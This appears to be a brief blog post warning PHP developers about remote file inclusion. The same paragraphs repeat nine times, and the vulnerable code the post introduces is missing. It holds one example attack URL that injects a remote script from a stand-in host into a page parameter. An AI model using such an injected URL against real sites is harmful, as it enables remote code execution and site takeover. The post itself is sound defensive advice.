I’ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:

And then they run it with something like “http://www.example.com/index.php?page=page5.html”.

All it takes is someone to come along and type “http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt”, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers… whatever.

Moral: allow_url_fopen should *always* be off unless you need it.

Rob

I’ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:

And then they run it with something like “http://www.example.com/index.php?page=page5.html”.

All it takes is someone to come along and type “http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt”, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers… whatever.

Moral: allow_url_fopen should *always* be off unless you need it.

Rob

I’ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:

And then they run it with something like “http://www.example.com/index.php?page=page5.html”.

All it takes is someone to come along and type “http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt”, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers… whatever.

Moral: allow_url_fopen should *always* be off unless you need it.

Rob

I’ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:

And then they run it with something like “http://www.example.com/index.php?page=page5.html”.

All it takes is someone to come along and type “http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt”, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers… whatever.

Moral: allow_url_fopen should *always* be off unless you need it.

Rob

I’ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:

And then they run it with something like “http://www.example.com/index.php?page=page5.html”.

All it takes is someone to come along and type “http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt”, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers… whatever.

Moral: allow_url_fopen should *always* be off unless you need it.

Rob

I’ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:

And then they run it with something like “http://www.example.com/index.php?page=page5.html”.

All it takes is someone to come along and type “http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt”, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers… whatever.

Moral: allow_url_fopen should *always* be off unless you need it.

Rob

I’ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:

And then they run it with something like “http://www.example.com/index.php?page=page5.html”.

All it takes is someone to come along and type “http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt”, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers… whatever.

Moral: allow_url_fopen should *always* be off unless you need it.

Rob

I’ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:

And then they run it with something like “http://www.example.com/index.php?page=page5.html”.

All it takes is someone to come along and type “http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt”, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers… whatever.

Moral: allow_url_fopen should *always* be off unless you need it.

Rob

I’ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:

And then they run it with something like “http://www.example.com/index.php?page=page5.html”.

All it takes is someone to come along and type “http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt”, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers… whatever.

Moral: allow_url_fopen should *always* be off unless you need it.

Rob

Checking $_SERVER[’DOCUMENT_ROOT’] will not work because that global variable will be set according to the page doing the including, not the remote file itself. And yes, FTP will be a topic. :)

Leave a Comment